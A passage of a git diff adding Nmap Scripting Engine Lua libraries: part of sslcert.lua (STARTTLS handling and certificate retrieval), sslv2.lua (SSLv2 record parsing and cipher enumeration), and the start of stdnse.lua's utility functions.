+ [25] = StartTLS.smtp_prepare_tls_without_reconnect,
+ [587] = StartTLS.smtp_prepare_tls_without_reconnect,
+ mysql = StartTLS.mysql_prepare_tls_without_reconnect,
+ [3306] = StartTLS.mysql_prepare_tls_without_reconnect,
+ xmpp = StartTLS.xmpp_prepare_tls_without_reconnect,
+ [5222] = StartTLS.xmpp_prepare_tls_without_reconnect,
+ [5269] = StartTLS.xmpp_prepare_tls_without_reconnect,
+ vnc = StartTLS.vnc_prepare_tls_without_reconnect,
+ [5900] = StartTLS.vnc_prepare_tls_without_reconnect,
+}
+
+-- these can't do reconnect_ssl
+local SPECIALIZED_WRAPPED_TLS_WITHOUT_RECONNECT = {
+ ["ms-sql-s"] = StartTLS.tds_prepare_tls_without_reconnect,
+}
+
+-- Wrap the specialized connection function with a check for previous fail
+local function wrap_special_with_reg_check(special)
+ return special and function(host, port)
+ local oldfail = check_starttls_failed(host, port)
+ if oldfail then
+ return false, "Previous STARTTLS attempt failed"
+ else
+ local result = table.pack(special(host, port))
+ local mutex = nmap.mutex(host.registry.starttls)
+ pcall(mutex, "done")
+ return table.unpack(result)
+ end
+ end
+end
+
+--- Get a specialized SSL connection function without starting SSL
+--
+-- For protocols that require some sort of START-TLS setup, this function will
+-- return a function that can be used to produce a socket that is ready for SSL
+-- messages.
+-- @param port A port table with 'number' and 'service' keys
+-- @return A STARTTLS function or nil
+function getPrepareTLSWithoutReconnect(port)
+ if port.protocol == 'udp' then
+ return nil
+ end
+ if ( port.version and port.version.service_tunnel == 'ssl') then
+ return nil
+ end
+ local special = (SPECIALIZED_PREPARE_TLS_WITHOUT_RECONNECT[port.service] or
+ SPECIALIZED_PREPARE_TLS_WITHOUT_RECONNECT[port.number] or
+ SPECIALIZED_WRAPPED_TLS_WITHOUT_RECONNECT[port.service] or
+ SPECIALIZED_WRAPPED_TLS_WITHOUT_RECONNECT[port.number])
+ return wrap_special_with_reg_check(special)
+end
+
+--- Get a specialized SSL connection function to create an SSL socket
+--
+-- For protocols that require some sort of START-TLS setup, this function will
+-- return a function that can be used to produce an SSL-connected socket.
+-- @param port A port table with 'number' and 'service' keys
+-- @return A STARTTLS function or nil
+function isPortSupported(port)
+ if port.protocol == 'udp' then
+ return nil
+ end
+ if ( port.version and port.version.service_tunnel == 'ssl') then
+ return nil
+ end
+ local special = (SPECIALIZED_PREPARE_TLS[port.service] or
+ SPECIALIZED_PREPARE_TLS[port.number])
+ return wrap_special_with_reg_check(special)
+end
+
+-- returns a function that yields a new tls record each time it is called
+local function get_record_iter(sock)
+ local buffer = ""
+ local i = 1
+ local fragment
+ return function ()
+ local record, more
+ i, record, more = tls.record_read(buffer, i, fragment)
+ if record == nil then
+ if not more then
+ return nil, "no more"
+ end
+ local status, err
+ status, buffer, err = tls.record_buffer(sock, buffer, i)
+ if not status then
+ return nil, err
+ end
+ i, record = tls.record_read(buffer, i, fragment)
+ if record == nil then
+ return nil, "done"
+ end
+ end
+ fragment = record.fragment
+ return record
+ end
+end
+
+local function handshake_cert (socket)
+ -- logic mostly lifted from ssl-enum-ciphers
+ -- TODO: implement TLSv1.3 handshake encryption so we can decrypt the
+ -- Certificate message. Until then, we don't attempt TLSv1.3
+ local hello = tls.client_hello({protocol="TLSv1.2"})
+ local status, err = socket:send(hello)
+ if not status then
+ return false, "Failed to send to server"
+ end
+
+ local get_next_record = get_record_iter(socket)
+ local records = {}
+ local done = false
+ while not done do
+ local record
+ record, err = get_next_record()
+ if not record then
+ stdnse.debug1("no record: %s", err)
+ break
+ end
+ -- Collect message bodies into one record per type
+ records[record.type] = records[record.type] or record
+ for j = 1, #record.body do -- no ipairs because we append below
+ local b = record.body[j]
+ done = ((record.type == "alert" and b.level == "fatal") or
+ (record.type == "handshake" and b.type == "server_hello_done"))
+ table.insert(records[record.type].body, b)
+ end
+ end
+
+ local handshake = records.handshake
+ if not handshake then
+ return false, "Server did not handshake"
+ end
+
+ local certs
+ for i, b in ipairs(handshake.body) do
+ if b.type == "certificate" then
+ certs = b
+ break
+ end
+ end
+ if not certs or not next(certs.certificates) then
+ return false, "Server sent no certificate"
+ end
+
+ local cert, err = parse_ssl_certificate(certs.certificates[1])
+ if not cert then
+ return false, ("Unable to parse cert: %s"):format(err)
+ end
+ return true, cert
+end
+
+--- Gets a certificate for the given host and port
+-- The function will attempt to START-TLS for the ports known to require it.
+-- @param host table as received by the script action function
+-- @param port table as received by the script action function
+-- @return status true on success, false on failure
+-- @return cert userdata containing the SSL certificate, or error message on
+-- failure.
+function getCertificate(host, port)
+ local mutex = nmap.mutex("sslcert-cache-mutex")
+ mutex "lock"
+
+ if ( host.registry["ssl-cert"] and
+ host.registry["ssl-cert"][port.number] ) then
+ stdnse.debug2("sslcert: Returning cached SSL certificate")
+ mutex "done"
+ return true, host.registry["ssl-cert"][port.number]
+ end
+
+ local cert
+
+ local wrapper = SPECIALIZED_WRAPPED_TLS_WITHOUT_RECONNECT[port.service] or SPECIALIZED_WRAPPED_TLS_WITHOUT_RECONNECT[port.number]
+ local special_table = have_openssl and SPECIALIZED_PREPARE_TLS or SPECIALIZED_PREPARE_TLS_WITHOUT_RECONNECT
+ local specialized = special_table[port.service] or special_table[port.number]
+
+ local status = false
+
+ -- If we don't already know the service is TLS wrapped check to see if we
+ -- have to use a wrapper and do a manual handshake
+ if wrapper and port.version.service_tunnel ~= 'ssl' then
+ local socket
+ status, socket = wrapper(host, port)
+ if not status then
+ stdnse.debug1("Wrapper function error: %s", socket)
+ else
+ status, cert = handshake_cert(socket)
+ socket:close()
+ end
+ end
+
+ -- If that didn't work, see if we need a specialized connection method
+ if not status and specialized and port.version.service_tunnel ~= 'ssl' then
+ local socket
+ status, socket = specialized(host, port)
+ if not status then
+ stdnse.debug1("Specialized function error: %s", socket)
+ else
+ if have_openssl then
+ cert = socket:get_ssl_certificate()
+ status = not not cert
+ else
+ status, cert = handshake_cert(socket)
+ end
+ socket:close()
+ end
+ end
+
+ -- Now try to connect with Nsock's SSL connection
+ if not status and have_openssl then
+ local socket = nmap.new_socket()
+ local errmsg
+ status, errmsg = socket:connect(host, port, "ssl")
+ if not status then
+ stdnse.debug1("SSL connect error: %s", errmsg)
+ else
+ cert = socket:get_ssl_certificate()
+ status = not not cert
+ socket:close()
+ end
+ end
+
+ -- Finally, try to connect and manually handshake (maybe more tolerant of TLS
+ -- insecurity than OpenSSL)
+ if not status then
+ local socket = nmap.new_socket()
+ local errmsg
+ status, errmsg = socket:connect(host, port)
+ if not status then
+ stdnse.debug1("Connect error: %s", errmsg)
+ else
+ status, cert = handshake_cert(socket)
+ socket:close()
+ end
+ end
+
+ if not status then
+ mutex "done"
+ return false, "No certificate found"
+ end
+
+ host.registry["ssl-cert"] = host.registry["ssl-cert"] or {}
+ host.registry["ssl-cert"][port.number] = host.registry["ssl-cert"][port.number] or {}
+ host.registry["ssl-cert"][port.number] = cert
+ mutex "done"
+ return true, cert
+end
+
+
+
+return _ENV;
diff --git a/nselib/sslv2.lua b/nselib/sslv2.lua
new file mode 100644
index 0000000..31190bc
--- /dev/null
+++ b/nselib/sslv2.lua
@@ -0,0 +1,366 @@
+---
+-- A library providing functions for doing SSLv2 communications
+--
+--
+-- @author Bertrand Bonnefoy-Claudet
+-- @author Daniel Miller
+
+local stdnse = require "stdnse"
+local table = require "table"
+local tableaux = require "tableaux"
+local nmap = require "nmap"
+local sslcert = require "sslcert"
+local string = require "string"
+local rand = require "rand"
+_ENV = stdnse.module("sslv2", stdnse.seeall)
+
+SSL_MESSAGE_TYPES = {
+ ERROR = 0,
+ CLIENT_HELLO = 1,
+ CLIENT_MASTER_KEY = 2,
+ CLIENT_FINISHED = 3,
+ SERVER_HELLO = 4,
+ SERVER_VERIFY = 5,
+ SERVER_FINISHED = 6,
+ REQUEST_CERTIFICATE = 7,
+ CLIENT_CERTIFICATE = 8,
+}
+
+SSL_ERRORS = {
+ [1] = "SSL_PE_NO_CIPHER",
+ [2] = "SSL_PE_NO_CERTIFICATE",
+ [3] = "SSL_PE_BAD_CERTIFICATE",
+ [4] = "SSL_PE_UNSUPPORTED_CERTIFICATE_TYPE",
+}
+
+SSL_CERT_TYPES = {
+ X509_CERTIFICATE = 1,
+}
+
+-- (cut down) table of codes with their corresponding ciphers.
+-- inspired by Wireshark's 'epan/dissectors/packet-ssl-utils.h'
+
+--- SSLv2 ciphers, keyed by cipher code as a string of 3 bytes.
+--
+-- @class table
+-- @name SSL_CIPHERS
+-- @field str The cipher name as a string
+-- @field key_length The length of the cipher's key
+-- @field encrypted_key_length How much of the key is encrypted in the handshake (effective key strength)
+SSL_CIPHERS = {
+ ["\x01\x00\x80"] = {
+ str = "SSL2_RC4_128_WITH_MD5",
+ key_length = 16,
+ encrypted_key_length = 16,
+ },
+ ["\x02\x00\x80"] = {
+ str = "SSL2_RC4_128_EXPORT40_WITH_MD5",
+ key_length = 16,
+ encrypted_key_length = 5,
+ },
+ ["\x03\x00\x80"] = {
+ str = "SSL2_RC2_128_CBC_WITH_MD5",
+ key_length = 16,
+ encrypted_key_length = 16,
+ },
+ ["\x04\x00\x80"] = {
+ str = "SSL2_RC2_128_CBC_EXPORT40_WITH_MD5",
+ key_length = 16,
+ encrypted_key_length = 5,
+ },
+ ["\x05\x00\x80"] = {
+ str = "SSL2_IDEA_128_CBC_WITH_MD5",
+ key_length = 16,
+ encrypted_key_length = 16,
+ },
+ ["\x06\x00\x40"] = {
+ str = "SSL2_DES_64_CBC_WITH_MD5",
+ key_length = 8,
+ encrypted_key_length = 8,
+ },
+ ["\x07\x00\xc0"] = {
+ str = "SSL2_DES_192_EDE3_CBC_WITH_MD5",
+ key_length = 24,
+ encrypted_key_length = 24,
+ },
+ ["\x00\x00\x00"] = {
+ str = "SSL2_NULL_WITH_MD5",
+ key_length = 0,
+ encrypted_key_length = 0,
+ },
+ ["\x08\x00\x80"] = {
+ str = "SSL2_RC4_64_WITH_MD5",
+ key_length = 16,
+ encrypted_key_length = 8,
+ },
+}
+
+--- Another table of ciphers
+--
+-- Unlike SSL_CIPHERS, this one is keyed by cipher name and the values are the
+-- cipher code as a 3-byte string.
+-- @class table
+-- @name SSL_CIPHER_CODES
+SSL_CIPHER_CODES = {}
+for k, v in pairs(SSL_CIPHERS) do
+ SSL_CIPHER_CODES[v.str] = k
+end
+
+local SSL_MAX_RECORD_LENGTH_2_BYTE_HEADER = 32767
+local SSL_MAX_RECORD_LENGTH_3_BYTE_HEADER = 16383
+
+-- 2 bytes of length minimum
+local SSL_MIN_HEADER = 2
+
+local function read_header(buffer, i)
+ i = i or 1
+ -- Ensure we have enough data for the header.
+ if #buffer - i + 1 < SSL_MIN_HEADER then
+ return i, nil
+ end
+
+ local len
+ len, i = string.unpack(">I2", buffer, i)
+ local msb = (len & 0x8000) == 0x8000
+ local header_length, record_length, padding_length, is_escape
+ if msb then
+ header_length = 2
+ record_length = len & 0x7fff
+ padding_length = 0
+ else
+ header_length = 3
+ if #buffer - i + 1 < 1 then
+ -- don't have enough for the message_type. Back up.
+ return i - SSL_MIN_HEADER, nil
+ end
+ record_length = len & 0x3fff
+ is_escape = not not (len & 0x4000)
+ padding_length, i = string.unpack("B", buffer, i)
+ end
+
+ return i, {
+ record_length = record_length,
+ is_escape = is_escape,
+ padding_length = padding_length,
+ }
+end
+
+---
+-- Read a SSLv2 record
+-- @param buffer The read buffer
+-- @param i The position in the buffer to start reading
+-- @return The current position in the buffer
+-- @return The record that was read, as a table
+function record_read(buffer, i)
+ local i, h = read_header(buffer, i)
+
+ if #buffer - i + 1 < h.record_length or not h then
+ return i, nil
+ end
+
+ h.message_type, i = string.unpack("B", buffer, i)
+
+ if h.message_type == SSL_MESSAGE_TYPES.SERVER_HELLO then
+ local SID_hit, certificate_type, ssl_version, certificate_len, ciphers_len, connection_id_len, j = string.unpack(">BBI2I2I2I2", buffer, i)
+ local certificate, j = string.unpack("c" .. certificate_len, buffer, j)
+ local ciphers_end = j + ciphers_len
+ local ciphers = {}
+ while j < ciphers_end do
+ local cipher
+ cipher, j = string.unpack("c3", buffer, j)
+ local cipher_name = SSL_CIPHERS[cipher] and SSL_CIPHERS[cipher].str or ("0x" .. stdnse.tohex(cipher))
+ ciphers[#ciphers+1] = cipher_name
+ end
+ local connection_id, j = string.unpack("c" .. connection_id_len, buffer, j)
+
+ h.body = {
+ cert_type = certificate_type,
+ cert = certificate,
+ ciphers = ciphers,
+ connection_id = connection_id,
+ }
+ i = j
+ elseif h.message_type == SSL_MESSAGE_TYPES.ERROR and h.record_length == 3 then
+ local err, j = string.unpack(">I2", buffer, i)
+ h.body = {
+ error = SSL_ERRORS[err] or err
+ }
+ i = j
+ else
+ -- TODO: Other message types?
+ h.message_type = "encrypted"
+ local data, j = string.unpack("c"..h.record_length, buffer, i)
+ h.body = {
+ data = data
+ }
+ i = j
+ end
+ return i, h
+end
+
+--- Wrap a payload in an SSLv2 record header
+--
+--@param payload The padded payload to send
+--@param pad_length The length of the padding. If the payload is not padded, set to 0
+--@return An SSLv2 record containing the payload
+function ssl_record (payload, pad_length)
+ local length = #payload
+ assert(
+ length < (pad_length == 0 and SSL_MAX_RECORD_LENGTH_2_BYTE_HEADER or SSL_MAX_RECORD_LENGTH_3_BYTE_HEADER),
+ "SSL record too long")
+ assert(pad_length < 256, "SSL record padding too long")
+ if pad_length > 0 then
+ return string.pack(">I2B", length, pad_length) .. payload
+ else
+ return string.pack(">I2", length | 0x8000) .. payload
+ end
+end
+
+---
+-- Build a client_hello message
+--
+-- The <code>ciphers</code> parameter can contain cipher names or raw 3-byte
+-- cipher codes.
+-- @param ciphers Table of cipher names
+-- @return The client_hello record as a string
+function client_hello (ciphers)
+ local cipher_codes = {}
+
+ for _, c in ipairs(ciphers) do
+ local ck = SSL_CIPHER_CODES[c] or c
+ assert(#ck == 3, "Unknown cipher")
+ cipher_codes[#cipher_codes+1] = ck
+ end
+
+ local challenge = rand.random_string(16)
+
+ local ssl_v2_hello = string.pack(">BI2I2I2I2",
+ 1, -- MSG-CLIENT-HELLO
+ 2, -- version: SSL 2.0
+ #cipher_codes * 3, -- cipher spec length
+ 0, -- session ID length
+ #challenge) -- challenge length
+ .. table.concat(cipher_codes)
+ .. challenge
+
+ return ssl_record(ssl_v2_hello, 0)
+end
+
+function client_master_secret(cipher_name, clear_key, encrypted_key, key_arg)
+ local key_arg = key_arg or ""
+ local ck = SSL_CIPHER_CODES[cipher_name] or cipher_name
+ assert(#ck == 3, "Unknown cipher in client_master_secret")
+ return ssl_record( string.pack(">Bc3I2I2I2",
+ SSL_MESSAGE_TYPES.CLIENT_MASTER_KEY,
+ ck,
+ #clear_key,
+ #encrypted_key,
+ #key_arg)
+ .. clear_key
+ .. encrypted_key
+ .. key_arg, 0)
+end
+
+local function read_atleast(s, n)
+ local buf = {}
+ local count = 0
+ while count < n do
+ local status, data = s:receive_bytes(n - count)
+ if not status then
+ return status, data, table.concat(buf)
+ end
+ buf[#buf+1] = data
+ count = count + #data
+ end
+ return true, table.concat(buf)
+end
+
+--- Get an entire record into a buffer
+--
+-- Caller is responsible for closing the socket if necessary.
+-- @param sock The socket to read additional data from
+-- @param buffer The string buffer holding any previously-read data
+-- (default: "")
+-- @param i The position in the buffer where the record should start
+-- (default: 1)
+-- @return status Socket status
+-- @return Buffer containing at least 1 record if status is true
+-- @return Error text if there was an error
+function record_buffer(sock, buffer, i)
+ buffer = buffer or ""
+ i = i or 1
+ if #buffer - i + 1 < SSL_MIN_HEADER then
+ local status, resp, rem = read_atleast(sock, SSL_MIN_HEADER - (#buffer - i + 1))
+ if not status then
+ return false, buffer .. rem, resp
+ end
+ buffer = buffer .. resp
+ end
+ local i, h = read_header(buffer, i)
+ if not h then
+ return false, buffer, "Couldn't read a SSLv2 header"
+ end
+ if (#buffer - i + 1) < h.record_length then
+ local status, resp = read_atleast(sock, h.record_length - (#buffer - i + 1))
+ if not status then
+ return false, buffer, resp
+ end
+ buffer = buffer .. resp
+ end
+ return true, buffer
+end
+
+function test_sslv2 (host, port)
+ local timeout = stdnse.get_timeout(host, 10000, 5000)
+
+ -- Create socket.
+ local status, socket, err
+ local starttls = sslcert.getPrepareTLSWithoutReconnect(port)
+ if starttls then
+ status, socket = starttls(host, port)
+ if not status then
+ stdnse.debug(1, "Can't connect using STARTTLS: %s", socket)
+ return nil
+ end
+ else
+ socket = nmap.new_socket()
+ socket:set_timeout(timeout)
+ status, err = socket:connect(host, port)
+ if not status then
+ stdnse.debug(1, "Can't connect: %s", err)
+ return nil
+ end
+ end
+
+ socket:set_timeout(timeout)
+
+ local ssl_v2_hello = client_hello(tableaux.keys(SSL_CIPHER_CODES))
+
+ socket:send(ssl_v2_hello)
+
+ local status, record = record_buffer(socket)
+ socket:close();
+ if not status then
+ return nil
+ end
+
+ local _, message = record_read(record)
+
+ -- some sanity checks:
+ -- is it SSLv2?
+ if not message or not message.body then
+ return
+ end
+ -- is response a server hello?
+ if (message.message_type ~= SSL_MESSAGE_TYPES.SERVER_HELLO) then
+ return
+ end
+ ---- is certificate in X.509 format?
+ --if (message.body.cert_type ~= 1) then
+ -- return
+ --end
+
+ return message.body.ciphers
+end
+
+return _ENV;
diff --git a/nselib/stdnse.lua b/nselib/stdnse.lua
new file mode 100644
index 0000000..d16339d
--- /dev/null
+++ b/nselib/stdnse.lua
@@ -0,0 +1,1047 @@
+---
+-- Standard Nmap Scripting Engine functions. This module contains various handy
+-- functions that are too small to justify modules of their own.
+--
+-- @copyright Same as Nmap--See https://nmap.org/book/man-legal.html
+-- @class module
+-- @name stdnse
+
+local _G = require "_G"
+local coroutine = require "coroutine"
+local math = require "math"
+local nmap = require "nmap"
+local string = require "string"
+local table = require "table"
+local assert = assert;
+local error = error;
+local getmetatable = getmetatable;
+local ipairs = ipairs
+local pairs = pairs
+local next = next
+local rawset = rawset
+local require = require;
+local select = select
+local setmetatable = setmetatable;
+local tonumber = tonumber;
+local tostring = tostring;
+local print = print;
+local type = type
+local pcall = pcall
+
+local ceil = math.ceil
+local max = math.max
+
+local format = string.format;
+local rep = string.rep
+local match = string.match
+local find = string.find
+local sub = string.sub
+local gsub = string.gsub
+local char = string.char
+local byte = string.byte
+local gmatch = string.gmatch
+
+local concat = table.concat;
+local insert = table.insert;
+local remove = table.remove;
+local pack = table.pack;
+local unpack = table.unpack;
+
+local EMPTY = {}; -- Empty constant table
+
+_ENV = require "strict" {};
+
+--- Sleeps for a given amount of time.
+--
+-- This causes the program to yield control and not regain it until the time
+-- period has elapsed. The time may have a fractional part. Internally, the
+-- timer provides millisecond resolution.
+-- @name sleep
+-- @class function
+-- @param t Time to sleep, in seconds.
+-- @usage stdnse.sleep(1.5)
+_ENV.sleep = nmap.socket.sleep;
+
+-- These stub functions get overwritten by the script run loop in nse_main.lua
+-- These empty stubs will be used if a library calls stdnse.debug while loading
+_ENV.getid = function () return end
+_ENV.getinfo = function () return end
+_ENV.gethostport = function () return end
+
+local function debug (level, ...)
+ if type(level) ~= "number" then
+ return debug(1, level, ...)
+ end
+ local current = nmap.debugging()
+ if level <= current then
+ local host, port = gethostport()
+ local prefix = ( (current >= 2 and getinfo or getid)() or "")
+ .. (host and " "..host.ip .. (port and ":"..port.number or "") or "")
+ if prefix ~= "" then
+ nmap.log_write("stdout", "[" .. prefix .. "] " .. format(...))
+ else
+ nmap.log_write("stdout", format(...))
+ end
+ end
+end
+
+---
+-- Prints a formatted debug message if the current debugging level is greater
+-- than or equal to a given level.
+--
+-- This is a convenience wrapper around <code>nmap.log_write</code>. The first
+-- optional numeric argument, <code>level</code>, is used as the debugging level
+-- necessary to print the message (it defaults to 1 if omitted). All remaining
+-- arguments are processed with Lua's <code>string.format</code> function.
+--
+-- If known, the output includes some context based information: the script
+-- identifier and the target ip/port (if there is one). If the debug level is
+-- at least 2, it also prints the base thread identifier and whether it is a
+-- worker thread or the controller thread.
+--
+-- @class function
+-- @name debug
+-- @param level Optional debugging level.
+-- @param fmt Format string.
+-- @param ... Arguments to format.
+_ENV.debug = debug
+
+--Aliases for particular debug levels
+function debug1 (...) return debug(1, ...) end
+function debug2 (...) return debug(2, ...) end
+function debug3 (...) return debug(3, ...) end
+function debug4 (...) return debug(4, ...) end
+function debug5 (...) return debug(5, ...) end
+
+---
+-- Deprecated version of debug(), kept for now to prevent the script id from being
+-- printed twice. Scripts should use debug() and not pass SCRIPT_NAME
+print_debug = function(level, fmt, ...)
+ local l, d = tonumber(level), nmap.debugging();
+ if l and l <= d then
+ nmap.log_write("stdout", format(fmt, ...));
+ elseif not l and 1 <= d then
+ nmap.log_write("stdout", format(level, fmt, ...));
+ end
+end
+
+local function verbose (level, ...)
+ if type(level) ~= "number" then
+ return verbose(1, level, ...)
+ end
+ local current = nmap.verbosity()
+ if level <= current then
+ local prefix
+ if current >= 2 then
+ local host, port = gethostport()
+ prefix = (getid() or "")
+ .. (host and " "..host.ip .. (port and ":"..port.number or "") or "")
+ else
+ prefix = getid() or ""
+ end
+ if prefix ~= "" then
+ nmap.log_write("stdout", "[" .. prefix .. "] " .. format(...))
+ else
+ nmap.log_write("stdout", format(...))
+ end
+ end
+end
+
+---
+-- Prints a formatted verbosity message if the current verbosity level is greater
+-- than or equal to a given level.
+--
+-- This is a convenience wrapper around <code>nmap.log_write</code>. The first
+-- optional numeric argument, <code>level</code>, is used as the verbosity level
+-- necessary to print the message (it defaults to 1 if omitted). All remaining
+-- arguments are processed with Lua's <code>string.format</code> function.
+--
+-- If known, the output includes some context based information: the script
+-- identifier. If the verbosity level is at least 2, it also prints the target
+-- ip/port (if there is one)
+--
+-- @class function
+-- @name verbose
+-- @param level Optional verbosity level.
+-- @param fmt Format string.
+-- @param ... Arguments to format.
+_ENV.verbose = verbose
+
+--Aliases for particular verbosity levels
+function verbose1 (...) return verbose(1, ...) end
+function verbose2 (...) return verbose(2, ...) end
+function verbose3 (...) return verbose(3, ...) end
+function verbose4 (...) return verbose(4, ...) end
+function verbose5 (...) return verbose(5, ...) end
+
+---
+-- Deprecated version of verbose(), kept for now to prevent the script id from being
+-- printed twice. Scripts should use verbose() and not pass SCRIPT_NAME
+print_verbose = function(level, fmt, ...)
+ local l, d = tonumber(level), nmap.verbosity();
+ if l and l <= d then
+ nmap.log_write("stdout", format(fmt, ...));
+ elseif not l and 1 <= d then
+ nmap.log_write("stdout", format(level, fmt, ...));
+ end
+end
+
+--- Return a wrapper closure around a socket that buffers socket reads into
+-- chunks separated by a pattern.
+--
+-- This function operates on a socket attempting to read data. It separates the
+-- data by <code>sep</code> and, for each invocation, returns a piece of the
+-- separated data. Typically this is used to iterate over the lines of data
+-- received from a socket (<code>sep = "\r?\n"</code>). The returned string
+-- does not include the separator. It will return the final data even if it is
+-- not followed by the separator. Once an error or EOF is reached, it returns
+-- <code>nil, msg</code>. <code>msg</code> is what is returned by
+-- <code>nmap.receive_lines</code>.
+-- @param socket Socket for the buffer.
+-- @param sep Separator for the buffered reads.
+-- @return Data from socket reads or <code>nil</code> on EOF or error.
+-- @return Error message, as with <code>receive_lines</code>.
+function make_buffer(socket, sep)
+ local point, left, buffer, done, msg = 1, "";
+ local function self()
+ if done then
+ return nil, msg; -- must be nil for stdnse.lines (below)
+ elseif not buffer then
+ local status, str = socket:receive();
+ if not status then
+ if #left > 0 then
+ done, msg = not status, str;
+ return left;
+ else
+ return status, str;
+ end
+ else
+ buffer = left..str;
+ return self();
+ end
+ else
+ local i, j = find(buffer, sep, point);
+ if i then
+ local ret = sub(buffer, point, i-1);
+ point = j + 1;
+ return ret;
+ else
+ point, left, buffer = 1, sub(buffer, point), nil;
+ return self();
+ end
+ end
+ end
+ return self;
+end
+
+--[[ This function may be usable in Lua 5.2
+function lines(socket)
+ return make_buffer(socket, "\r?\n"), nil, nil;
+end --]]
+
+do
+ local t = {
+ ["0"] = "0000",
+ ["1"] = "0001",
+ ["2"] = "0010",
+ ["3"] = "0011",
+ ["4"] = "0100",
+ ["5"] = "0101",
+ ["6"] = "0110",
+ ["7"] = "0111",
+ ["8"] = "1000",
+ ["9"] = "1001",
+ a = "1010",
+ b = "1011",
+ c = "1100",
+ d = "1101",
+ e = "1110",
+ f = "1111"
+ };
+
+--- Converts the given number, n, to a string in a binary number format (12
+-- becomes "1100"). Leading 0s not stripped.
+-- @param n Number to convert.
+-- @return String in binary format.
+ function tobinary(n)
+ -- enforced by string.format: assert(tonumber(n), "number expected");
+ return gsub(format("%x", n), "%w", t)
+ end
+end
+
+--- Converts the given number, n, to a string in an octal number format (12
+-- becomes "14").
+-- @param n Number to convert.
+-- @return String in octal format.
+function tooctal(n)
+ -- enforced by string.format: assert(tonumber(n), "number expected");
+ return format("%o", n)
+end
+
+local tohex_helper = function(b)
+ return format("%02x", byte(b))
+end
+--- Encode a string or integer in hexadecimal (12 becomes "c", "AB" becomes
+-- "4142").
+--
+-- An optional second argument is a table with formatting options. The possible
+-- fields in this table are
+-- * <code>separator</code>: A string to use to separate groups of digits.
+-- * <code>group</code>: The size of each group of digits between separators. Defaults to 2, but has no effect if <code>separator</code> is not also given.
+-- @usage
+-- stdnse.tohex("abc") --> "616263"
+-- stdnse.tohex("abc", {separator = ":"}) --> "61:62:63"
+-- stdnse.tohex("abc", {separator = ":", group = 4}) --> "61:6263"
+-- stdnse.tohex(123456) --> "1e240"
+-- stdnse.tohex(123456, {separator = ":"}) --> "1:e2:40"
+-- stdnse.tohex(123456, {separator = ":", group = 4}) --> "1:e240"
+-- @param s String or number to be encoded.
+-- @param options Table specifying formatting options.
+-- @return String in hexadecimal format.
+function tohex( s, options )
+ options = options or EMPTY
+ local separator = options.separator
+ local hex
+
+ if type( s ) == "number" then
+ hex = format("%x", s)
+ elseif type( s ) == 'string' then
+ hex = gsub(s, ".", tohex_helper)
+ else
+ error( "Type not supported in tohex(): " .. type(s), 2 )
+ end
+
+ -- format hex if we got a separator
+ if separator then
+ local group = options.group or 2
+ local subs = 0
+ local pat = "(%x)(" .. rep("[^:]", group) .. ")%f[\0:]"
+ repeat
+ hex, subs = gsub(hex, pat, "%1:%2")
+ until subs == 0
+ end
+
+ return hex
+end
+
+
+local fromhex_helper = function (h)
+ return char(tonumber(h, 16))
+end
+---Decode a hexadecimal string to raw bytes
+--
+-- The string can contain any amount of whitespace and capital or lowercase
+-- hexadecimal digits. There must be an even number of hex digits, since it
+-- takes 2 hex digits to make a byte.
+--
+-- @param hex A string in hexadecimal representation
+-- @return A string of bytes or nil if string could not be decoded
+-- @return Error message if string could not be decoded
+function fromhex (hex)
+ local p = find(hex, "[^%x%s]")
+ if p then
+ return nil, "Invalid hexadecimal digits at position " .. p
+ end
+ hex = gsub(hex, "%s+", "")
+ if #hex % 2 ~= 0 then
+ return nil, "Odd number of hexadecimal digits"
+ end
+ return gsub(hex, "..", fromhex_helper)
+end
+
+local colonsep = {separator=":"}
+---Format a MAC address as colon-separated hex bytes.
+--@param mac The MAC address in binary, such as <code>host.mac_addr</code>
+--@return The MAC address in XX:XX:XX:XX:XX:XX format
+function format_mac(mac)
+ return tohex(mac, colonsep)
+end
+
+---Either return the string itself, or return "<blank>" (or the value of the second parameter) if the string
+-- was blank or nil.
+--
+--@param string The base string.
+--@param blank The string to return if <code>string</code> was blank
+--@return Either <code>string</code> or, if it was blank, <code>blank</code>
+function string_or_blank(string, blank)
+ if(string == nil or string == "") then
+ if(blank == nil) then
+ return "<blank>"
+ else
+ return blank
+ end
+ else
+ return string
+ end
+end
+
+local timespec_multipliers = {[""] = 1, s = 1, m = 60, h = 60 * 60, ms = 0.001}
+---
+-- Parses a time duration specification, which is a number followed by a
+-- unit, and returns a number of seconds.
+--
+-- The unit is optional and defaults to seconds. The possible units
+-- (case-insensitive) are
+-- * <code>ms</code>: milliseconds,
+-- * <code>s</code>: seconds,
+-- * <code>m</code>: minutes,
+-- * <code>h</code>: hours.
+-- In case of a parsing error, the function returns <code>nil</code>
+-- followed by an error message.
+--
+-- @usage
+-- parse_timespec("10") --> 10
+-- parse_timespec("10ms") --> 0.01
+-- parse_timespec("10s") --> 10
+-- parse_timespec("10m") --> 600
+-- parse_timespec("10h") --> 36000
+-- parse_timespec("10z") --> nil, "Can't parse time specification \"10z\" (bad unit \"z\")"
+--
+-- @param timespec A time specification string.
+-- @return A number of seconds, or <code>nil</code> followed by an error
+-- message.
+function parse_timespec(timespec)
+ if timespec == nil then return nil, "Can't parse nil timespec" end
+ local n, unit, t, m
+
+ n, unit = match(timespec, "^([%d.]+)(.*)$")
+ if not n then
+ return nil, format("Can't parse time specification \"%s\"", timespec)
+ end
+
+ t = tonumber(n)
+ if not t then
+ return nil, format("Can't parse time specification \"%s\" (bad number \"%s\")", timespec, n)
+ end
+
+ m = timespec_multipliers[unit]
+ if not m then
+ return nil, format("Can't parse time specification \"%s\" (bad unit \"%s\")", timespec, unit)
+ end
+
+ return t * m
+end
+
+--- Returns the current time in milliseconds since the epoch
+-- @return The current time in milliseconds since the epoch
+function clock_ms()
+ return nmap.clock() * 1000
+end
+
+--- Returns the current time in microseconds since the epoch
+-- @return The current time in microseconds since the epoch
+function clock_us()
+ return nmap.clock() * 1000000
+end
+
+---Get the indentation symbols at a given level.
+local function format_get_indent(indent)
+ return rep(" ", #indent)
+end
+
+-- A helper for format_output (see below).
+local function format_output_sub(status, data, indent)
+ if (#data == 0) then
+ return ""
+ end
+
+ -- Used to put 'ERROR: ' in front of all lines on error messages
+ local prefix = ""
+ -- Initialize the output string to blank (or, if we're at the top, add a newline)
+ local output = {}
+ if(not(indent)) then
+ insert(output, '\n')
+ end
+
+ if(not(status)) then
+ if(nmap.debugging() < 1) then
+ return nil
+ end
+ prefix = "ERROR: "
+ end
+
+ -- If a string was passed, turn it into a table
+ if(type(data) == 'string') then
+ data = {data}
+ end
+
